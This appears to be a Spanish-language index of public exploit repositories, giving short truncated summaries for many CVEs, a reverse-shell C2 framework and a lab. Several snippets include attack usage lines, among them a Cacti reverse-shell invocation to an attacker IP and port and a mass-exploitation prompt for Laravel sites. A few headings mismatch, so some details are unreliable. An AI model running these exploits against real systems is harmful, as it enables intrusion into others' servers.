CVE-2022-42889

Inicio rápido root@kitploit: sudo apt install golang Para ejecutar como Python: root@kitploit: go run main.go arg1 arg2 Para compilar ejecutable: root@kitploit: go build main.go Uso: root@kitploit: non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' Pendientes:...

CVE-2007-2447

CVE-2007-2447 Vulnerabilidad de inyección remota de comandos CVE-2007-2447, permite a atacantes remotos ejecutar comandos arbitrarios especificando un nombre de usuario de Samba que contenga metacaracteres de shell...

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 es una vulnerabilidad de carga arbitraria de archivos en laravel-admin v1.8.19. Esta prueba de concepto explota la vulnerabilidad para subir una web shell. El exploit fue escrito para usarse contra la máquina fácil Usage de HackTheBox. Ejemplo root@kitploit:...

CVE-2022-46169

CVE-2022-41343 🐍 Exploit en Python para CVE-2022-46169 Shell inversa por etapas para Cacti = 1.2.22 Example root@kitploit: cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Usage root@kitploit: usage: cve-2022-46169 -h -u URL -s SHELL ip port argumentos posicionales: ip Dirección IP/Host de...

Laravel-CVE-2018-15133

Laravel-CVE-2018-15133 Este script en Python te permitirá crear listas de sitios y explotarlos rápidamente. Requisitos previos: python curl Uso: $ python cve.py Ejecuta el script $ "¿Qué sitio quieres atacar? =" http:victime.com/ Añade el sitio a la lista $ chmod +x nikmok.txt da los permisos 777...

aziot-cctv-cve-2025-50777

aziot-cctv-cve-2025-50777 CVE-2025-50777: Acceso Root y Exposición de Credenciales en Texto Plano en AZIOT Smart CCTV Resumen Se ha identificado una vulnerabilidad de control de acceso local CVE-2025-50777 en el firmware de la AZIOT 2MP Full HD Smart Wi-Fi CCTV Home Security Camera Versión de...

CVE-2026-49049

CVE-2026-49049 Este repositorio contiene un escáner basado en Python y una prueba de concepto para una vulnerabilidad en el componente Joomla Helix3. El fallo es un problema de escritura arbitraria de archivos que puede conducir a la ejecución remota de código RCE cuando un atacante es capaz de...

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 ¿Cómo usarlo? root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646...

confluence-hack

Confluence Hack CVE-2023-22515 exploit.py Exploit para crear un nuevo usuario administrador Registro de auditoría comprometido: Como referencia, se proporciona: https://packetstormsecurity.com/files/175225/Atlassian-Confluence-Unauthenticated-Remote-Code-Execution.html y...

vsftpd-2.3.4---Backdoor-Command-Execution

vsftpd-2.3.4---Ejecución-de-Comandos-de-Puerta-Trasera vsftpd 2.3.4 CVE-2011-2523 una vulnerabilidad crítica que conduce a una Shell Root. En este repositorio haré una PoC de cómo explotarla paso a paso, Manualmente y Automáticamente Python con fines educativos. ¿De qué trata la vulnerabilidad? E...

CVE-2007-2447

CVE-2007-2447 - script de mapa de usuario "La funcionalidad MS-RPC en smbd de Samba 3.0.0 hasta 3.0.25rc3 permite a atacantes remotos ejecutar comandos arbitrarios mediante metacaracteres de shell que involucran la función 1 SamrChangePassword, cuando la opción "username map script" de smb.conf...

CVE-2024-49653

📜 Exploit del plugin Portfolleo de WordPress CVE-2024-49653 🚨 Detalles de la vulnerabilidad Título: Plugin Portfolleo de WordPress = 1.2 - Vulnerabilidad de subida arbitraria de archivos Descripción: Vulnerabilidad de subida sin restricciones de archivos con tipo peligroso en James Eggers...

Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 - Pluck CMS v4.7.18 Exploit de Ejecución Remota de Código RCE Descripción Este script explota una vulnerabilidad de Ejecución Remota de Código RCE en Pluck CMS v4.7.18. La vulnerabilidad permite a un usuario malintencionado subir un archivo PHP malicioso al servidor y ejecutarlo,...

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC Aviso No descubrí ni me atribuyo el mérito de encontrar esta vulnerabilidad. Este es simplemente un script que construí para explotar más fácilmente esta vulnerabilidad para un CTF. Para la información original, consulte: https://github.com/c53elyas/CVE-2023-33733 Este script...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 es una vulnerabilidad ampliamente explotada que aparece en la lista KEV de CISA. Esta implementación de go-exploit puede ejecutar una reverse shell en los objetivos mediante un payload de Nashorn, o descargar un binario al objetivo y ejecutarlo...

CVE-2022-1388

CVE-2022-1388 RCE, Reverse Shell y exportación automática de PCAP -- SOLO PARA USO EDUCATIVO -- El autor no es responsable ni se le puede exigir responsabilidad por cualquier acción realizada con cualquier aspecto de este proyecto/repositorio. Lo creé con el propósito de comprender el ataque y...

CVE-2015-3306-Home-Lab

ProFTPD 1.3.5 modcopy — Laboratorio de Simulación de RCE Este laboratorio está diseñado para simular la vulnerabilidad CVE-2015-3306 — ProFTPD modcopy Remote File Copy to RCE Se utiliza para aprender Web Shell Injection RCE a través del módulo modcopy de ProFTPD Características ProFTPD 1.3.5...

TornadoRevC2

TornadoRevC2 Un framework de post-explotación ligero y modular para investigación de seguridad autorizada, operaciones de red-team y pruebas de penetración. TornadoRevC2 gestiona sesiones de reverse shell en hosts Linux y Windows a través de una consola de operador unificada, extendiendo el manej...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

De-EternalBlue-a-CVE-2025-2776-La-Evolucion-de-un-Ataque-SMB Conmocionó al mundo en 2017 y ha evolucionado hasta el CVE‑2025‑2776 actual. Microsoft sigue confiando en SMBv1; este artículo explicará cómo los atacantes han ajustado la cadena desde un simple DLL hasta una pila completa de...

CVE-2019-15715

CVE-2019-15715 El repositorio actual es una implementación en Python3 de CVE-2019-15715 y tiene como objetivo centrarse únicamente en la mejora del CVE-2019-15715 reportado previamente aquí por Nikolas Geiselman, añadiendo la implementación de parámetros de Python para hacer el script más flexibl...